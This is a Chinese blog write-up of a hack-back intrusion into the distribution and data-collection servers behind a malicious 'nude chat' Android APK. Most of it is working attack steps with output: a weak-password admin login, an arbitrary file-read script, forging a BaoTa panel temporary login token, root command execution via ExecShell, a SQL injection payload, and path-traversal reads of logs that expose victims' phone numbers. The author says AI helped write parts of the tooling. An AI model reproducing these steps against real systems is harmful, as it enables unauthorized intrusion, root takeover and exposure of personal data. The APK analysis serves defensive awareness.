对裸聊APP的又一次渗透测试

0x00 目标来源与初始样本

昨天正在愉快的网络冲浪,然后突然收到一个私信

image.png

目标这不就来了吗

直接无视风险继续访问,下载安卓样本 VO5z0mNhEH.apk

用匹配脚本先大概跑了一下,链路分成了两段:

  • 154.193.XXX.XX / xwew.XXXXX.sbs / down.XXXXXXXX.one:负责 APK 打包、分发、证书、下载和运维
  • 156.254.XX.XX:1011:负责 APK 装机后的通讯录、短信、通话记录、图片等数据回传

0x01 从下载页反向定位 APK 打包后台

先摸一遍第一段,能很快看到一个完整的APK分发后台

后台登录页如下:

image.png

这个站点的前端包里能看到比较完整的后台模块,包括:

  • 应用管理
  • 分发列表
  • 证书管理
  • OSS 配置
  • 下载域名

也就是说,它不是一个单纯落地页,而是一整套 APK 生产和投放平台

直接进入后台登录测试

0x02 使用弱口令进入分发管理后台

第一个点很easy,后台存在弱口令。

测试登录:

curl -sk 'https://xwew.XXXXX.sbs/api/manager/login' \
  -H 'Content-Type: application/json' \
  --data '{"username":"admin","password":"123456","code":"","key":""}'

返回结果非常干脆:

{"code":0,"msg":"成功","data":{"role":"admin","expireTime":null,"permissions":null,"webSocketUrl":"ws:154.193.XXX.XX:443/websocket","userId":1,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.XXXXXXXXXXXXXXXXXXXXQ4NiwidXNlcklkIjoxfQ.yEMQbv1PNA8uYON4fjcca2JolHfuZwxPyp6f7xMryU0","username":"admin"}}

后台登录成功以后,后面的测试就简单很多了。这个 token 足够继续访问后台管理接口,也能直接看到应用、分发和证书相关的数据

整个 APK 投放链的管理面GET

0x03 利用证书下载功能实现任意文件读取

拿到后台以后,证书模块是最值得盯的一块。这里的核心问题是证书记录里的 path 字段可控,而下载接口又会按这个路径直接把文件返回出来

整理成了一个小脚本:

resp = session.put(
    f"{base_url}/api/certificate/update",
    headers=build_headers(token, host_header, "application/json"),
    data=json.dumps(payload, ensure_ascii=False).encode(),
)

resp = session.get(
    f"{base_url}/api/oss/downKeyStore/{APP_ID}",
    headers=build_headers(token, host_header),
)

核心逻辑就是两步:

  1. PUT /api/certificate/update 改证书路径
  2. GET /api/oss/downKeyStore/67 按这个路径把文件下载回来

先用 /etc/hosts 做一个最小验证:

python3 file_read.py /etc/hosts -o xwew_etchosts.bin

后台里的证书记录会被改成这样:

{"id":1,"name":"CERT_ETC_HOSTS","path":"/etc/hosts","alias":"test","storePass":"test123","keyPass":"test123","usable":false,"type":2}

下载响应头:

HTTP/1.1 200
Content-Disposition: attachment;filename=hosts
Content-Type: application/octet-stream;charset=utf-8
Content-Length: 158

回包内容:

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6

这次打出来了任意文件读取

0x04 借助任意文件读取摸宝塔信息

任意文件读取打出来以后,先沿着运维面去读关键文件

先读面板入口和端口

python3 file_read.py /www/server/panel/data/admin_path.pl -o www_server_panel_data_admin_path_pl_fresh
python3 file_read.py /www/server/panel/data/port.pl -o www_server_panel_data_port_pl_fresh
python3 file_read.py /www/server/panel/data/session_timeout.pl -o www_server_panel_data_session_timeout_pl_fresh

拿到的内容分别是:

/9e8XXXXX
41XXX
86400

这一步已经把宝塔真实入口直接定出来了:

https://154.193.XXX.XX:41XXX/9e8XXXXX

image.png

再读宝塔配置文件

python3 file_read.py /www/server/panel/config/config.json -o www_server_panel_config_config_json_fresh
python3 file_read.py /www/server/panel/config/api.json -o www_server_panel_config_api.json

config.json 里可以确认这就是标准的宝塔 Linux 面板:

{
  "language": "Simplified_Chinese",
  "title": "宝塔Linux面板",
  "brand": "宝塔",
  "product": "Linux面板",
  "root_path": "/www",
  "setup_path": "/www/server",
  "logs_path": "/www/wwwlogs"
}

api.json 则给出了面板另一层登录控制信息:

{"open": false, "token": "", "limit_addr": [], "binds": [{"time": 17780XXXX.XXXXXX, "token": "OalXXXXXXXXXXoHR", "status": 0}], "apps": [], "key": "ECXXXXXXXXXXHAn"}

接着读面板数据库和会话文件

python3 file_read.py /www/server/panel/data/db/panel.db -o www_server_panel_data_db_panel_db
python3 file_read.py /www/server/panel/data/session/a79111018d74cdbccfa463a143cbdcca -o www_server_panel_data_session_a79111018d74cdbccfa463a143cbdcca

直接看字符串:

strings -a www_server_panel_data_session_a79111018d74cdbccfa463a143cbdcca | \
  rg "username|login_address|email|listen_port|address|admin_path|login|admin_auth"

能直接提出这些关键字段:

admin_path
/9e8XXXXX

listen_port
41XXX

address
154.193.XXX.XX

username
ykXXX1s

login
admin_auth

login_address
156.254.XX.X(Cloudinnovation 中国 香港)

email
test@message.com

再往前一步,进面板取证

0x05 通过宝塔原生临时登录链拿到后台会话

既然已经读到了宝塔的配置和登录控制文件,那就让宝塔直接签一个新的会话

宝塔本身就支持临时登录 token。
从读出来的源码里可以看到,登录逻辑会接受 tmp_token

if get.tmp_token != data['tmp_token']: return public.error_not_login()
session['tmp_login'] = True

AI做了一个很小的 Java agent:
/www/server/panel/config/api.json 里补一组 tmp_token/tmp_time

ApiJsonTmpTokenAgent.java

private static final String TMP_TOKEN = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
body = prefix + "\"tmp_token\":\"" + TMP_TOKEN + "\",\"tmp_time\":" + now + "}";

这一步的重点不是 agent 本身,而是确认了一件事:只要能影响宝塔服务端的 api.json,后面就可以直接走宝塔自带的临时登录流程,不必再死磕浏览器侧那段 signed session cookie。

补进去以后,api.json 变成了这样:

{"open": false, "token": "", "limit_addr": [], "binds": [{"time": 1778049191.5461419, "token": "OalXXXXXXXXXXoHR", "status": 0}], "apps": [], "key": "ECXXXXXXXXXXHAn","tmp_token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","tmp_time":1778148239}

随后直接访问宝塔的临时登录入口:

curl -sk \
  -D bt_agent/bt_tmp_login_headers.txt \
  -c bt_agent/bt_tmp_login.cookies \
  'https://154.193.XXX.XX:41XXX/login?tmp_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
  -o bt_agent/bt_tmp_login_body.html

返回头里能看到宝塔自己下发了新的会话 cookie:

HTTP/1.1 302 FOUND
Set-Cookie: 903c223097107f37224123c724ced147_ssl=AAMFwGIqMEXSnGu7c.k2SCCxr65bOWbVKOHSc; Expires=Fri, 08 May 2026 10:04:16 GMT; HttpOnly; Path=/

为了方便本地直接打开,又AI了一个 Playwright 脚本:

npm run bt

package.json

{
  "name": "x",
  "private": true,
  "scripts": {
    "bt": "node open_bt_playwright.js"
  },
  "dependencies": {
    "playwright-core": "^1.59.1"
  }
}

open_bt_playwright.js

await context.addCookies([
  {
    name: '903c223097107f37224123c724ced147_ssl',
    value: 'AAMFwGIqMEXSnGu7c.k2SCCxr65bOWbVKOHSc',
    domain: '154.193.XXX.XX',
    path: '/',
    httpOnly: true,
    secure: true,
    sameSite: 'None',
  },
]);

await page.goto('https://154.193.XXX.XX:41XXX/home', {
  waitUntil: 'domcontentloaded',
});

这一步打完,面板就实打实已经进去了

image.png

0x06 进入宝塔后验证高权限执行能力

进面板后调用它自己的文件接口,把命令执行一遍

下发命令:

curl -sk 'https://154.193.XXX.XX:41XXX/files?action=ExecShell' \
  -b bt_agent/bt_tmp_login.cookies \
  -H 'x-http-token: yT8g5IIdAK2jNY2lK8IfE1DrhZkWjicUd98W3dUUZUamP0Hn' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  --data-urlencode 'path=/' \
  --data-urlencode 'shell=whoami'

读执行结果:

curl -sk 'https://154.193.XXX.XX:41XXX/files?action=GetExecShellMsg' \
  -b bt_agent/bt_tmp_login.cookies \
  -H 'x-http-token: yT8g5IIdAK2jDrhZkWjicUd98W3dUUZUamP0Hn' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  --data 'path=/'

返回结果:

{"status": true, "msg": "root"}

再读命令结果:

curl -sk 'https://154.193.XXX.XX:41XXX/files?action=GetFileBody' \
  -b bt_agent/bt_tmp_login.cookies \
  -H 'x-http-token: yT8g5IIdAK2jNYKcUd98W3dUUZUamP0Hn' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  --data-urlencode 'path=/www/server/panel/data/execshell.pl'

返回:

{"status": true, "only_read": false, "size": 5, "encoding": "ascii", "data": "root
", "historys": [], "auto_save": null, "st_mtime": "17781XXXX"}

到这里其实已经不需要再打什么了:面板拿下了,命令执行是 root

0x07 顺着分发配置检查泄露的 OSS 对象

既然是个APK分发平台,那OSS也该看一眼

image.png

阿里云上大分
腾讯云上大分

image.png

阿里云OSS里面没什么东西,腾讯云的懒得再看了

image.png

对象头:

key,content_length,content_type,etag,last_modified_iso
test,1,application/octet-stream,C4CA4238A0B923820DCC509A6F75849B,2026-05-04T10:36:14Z
5b6c217294fb41d9b9ff42b7a0d6f95e.apk,79568173,application/vnd.android.package-archive,A8FA642ADEDFA0ED099XXXX,2026-05-05T10:34:22Z
ba0f8496acd4499ea986977b9bc1aa92.apk,80117372,application/vnd.android.package-archive,EBCFCF9B18CB4F071EDXXXX,2026-05-05T13:49:57Z
ed21080561864d73af40f0b6175209bd.apk,92463871,application/vnd.android.package-archive,A31737AB3CEE4974082XXXX,2026-05-05T13:32:16Z

0x08 逆向 APK 定位真实的数据回传接口

上面那条链拿到了投放侧,接下来回到APK本身,去看它装到手机上以后到底把什么东西往哪里送

直接在解包结果里搜接口和权限,先看前端逻辑:

rg -n "AppUrl=|uploads/getuserid|uploads/apisms|uploads/img|uploads/api" \
  jadx_0d6b/resources/assets/apps/__UNI__D71B188/www/app-service.js

很快就能定位到回传基址:

http://156.254.XX.XX:1011/api/

以及几个核心接口:

POST /api/uploads/api
POST /api/uploads/getuserid
POST /api/uploads/apisms
POST /api/uploads/img

再看权限:

rg -n "READ_CONTACTS|READ_SMS|READ_CALL_LOG|READ_EXTERNAL_STORAGE|READ_PHONE_STATE" \
  apktool_0d6b/AndroidManifest.xml

能确认样本显式申请了:

android.permission.READ_PHONE_STATE
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_CONTACTS
android.permission.READ_SMS
android.permission.READ_CALL_LOG

真正有意思的不是权限名字,而是业务代码已经把这些权限串起来用了
app-service.js 里可以直接看到:

  • 读取已安装应用列表,拼到 appListName
  • 读取通讯录后走 uploads/api
  • 读取短信后走 uploads/apisms
  • 压缩相册图片后走 uploads/img
  • AppUrl 被写死为 http://156.254.XX.XX:1011/api/

也就是说,这个 APK 直接在代码里就把上传链写好了

0x09 在上传站触发 Debug 页面与日志泄露

定位到上传站以后,思路就很明确了

先用异常参数把 Debug 页面打出来

我用下面这条请求去打 apisms

curl -s 'http://156.254.XX.XX:1011/api/uploads/apisms' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'data=[{"imei":["exists","select updatexml(1,concat(0x7e,database(),0x7e),1)"],"imei2":["neq",""]},{"Foo":"bar"}]'

返回的是完整的 ThinkPHP 报错页:

image.png

里面能直接看到这些关键内容:

ThinkPHP 5.0.24
/www/wwwroot/156.254.XX.X/thinkphp/library/think/db/Connection.php line 387
SELECT * FROM `app_user` WHERE EXISTS ('select updatexml(1,concat(0x7e,database(),0x7e),1)') AND `code` <> 0 LIMIT 1
mysql
127.0.0.1
zc011
app_
/www/wwwroot/156.254.XX.X/public
/www/wwwroot/156.254.XX.X/runtime/log/

再从公开路径把日志文件读出来

有了 runtime/log 目录以后,继续往文件层试,很快就能把公开日志读出来。

请求如下:

curl 'http://156.254.XX.XX:1011/image/%2e%2e/url/2026050700error.txt'

返回内容里已经出现真实手机号和业务事件:

2026-05-07 00:04:58-成功-
2026-05-07 00:06:59--重复号码,请换号码进行登录--1398747XXXX
2026-05-07 00:10:58-成功-
2026-05-07 00:11:00--重复号码,请换号码进行登录--1350035XXXX
2026-05-07 00:14:16--重复号码,请换号码进行登录--1350035XXXX
2026-05-07 00:14:22--重复号码,请换号码进行登录--1350035XXXX
2026-05-07 00:23:11-成功-

image.png

其他信息这里不做展示了

从样本逻辑本身可确认,云端可接收到的受害者数据至少包括:

  • 手机号
  • 邀请码
  • 设备品牌
  • 通讯录数量与详细名单
  • 短信数量与详细内容
  • 通话记录
  • 相册图片
  • 已安装应用列表

0x0A 成果展示

image.png

image.png

image.png
还是那句话,兄弟们,网络交友需谨慎
不要乱下软件

image.png

image.png

0x0B 简单总结

154.193.XXX.XX 打包分发与运维侧

  • 后台弱口令可直接登录:admin / 123456
  • 证书模块可改任意路径,downKeyStore 可直接回显目标文件
  • 已稳定读取:
    • /etc/hosts
    • /www/server/panel/data/admin_path.pl
    • /www/server/panel/data/port.pl
    • /www/server/panel/config/config.json
    • /www/server/panel/config/api.json
    • /www/server/panel/data/db/panel.db
    • /www/server/panel/data/session/a79111018d74cdbccfa463a143cbdcca
  • 已还原宝塔入口:/9e8XXXXX
  • 已还原宝塔端口:41XXX
  • 已还原面板用户:ykXXX1s
  • 已还原会话信息中的登录来源:156.254.XX.X(Cloudinnovation 中国 香港)
  • 已拿到宝塔真实会话并进入后台
  • 已验证 ExecShell 命令执行结果为 root
  • 已确认分发记录中存在真实投放 APK 的 OSS 地址
  • 已枚举出多个实际 APK 对象:
    • 0d6b3a9ad1f24bea8cc33e2a1c0f3eba.apk
    • 5b6c217294fb41d9b9ff42b7a0d6f95e.apk
    • ba0f8496acd4499ea986977b9bc1aa92.apk
    • ed21080561864d73af40f0b6175209bd.apk

156.254.XX.XX:1011 数据回传侧

  • APK中数据上报基址:http://156.254.XX.XX:1011/api/
  • 已定位四个核心接口:
    • POST /api/uploads/api
    • POST /api/uploads/getuserid
    • POST /api/uploads/apisms
    • POST /api/uploads/img
  • APK已显式申请并调用:
    • 通讯录读取
    • 短信读取
    • 通话记录读取
    • 外部存储读取
    • 手机状态读取
  • 已打出 ThinkPHP Debug 页面,拿到:
    • ThinkPHP 5.0.24
    • 数据库类型 mysql
    • 数据库地址 127.0.0.1
    • 数据库名 zc011
    • 表前缀 app_
    • 项目路径 /www/wwwroot/156.254.XX.X/public
    • 日志目录 /www/wwwroot/156.254.XX.X/runtime/log/
  • 已通过公开路径读取业务日志
  • 已看到真实手机号、带后缀的业务标识和登录事件

免责声明:

本文所有黑产相关信息、涉及IP等均已提交至相关公安机关备案, 涉及内容已做严格脱敏处理。文章所提及的技术均为网络安全领域的常规渗透测试方法,不包含任何框架 0day 漏洞、新型攻击手段及未公开的技术细节。

请务必遵守国家法律法规及网络安全相关规定,严禁利用本文所述技术从事任何非法测试、攻击等危害网络安全的行为。因传播、使用本文信息而导致的任何直接或间接损失、法律责任,均由使用者自行承担,与文章作者及发布方无涉。 本文允许转载,但转载时需在显著位置标明原文出处及作者信息。

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。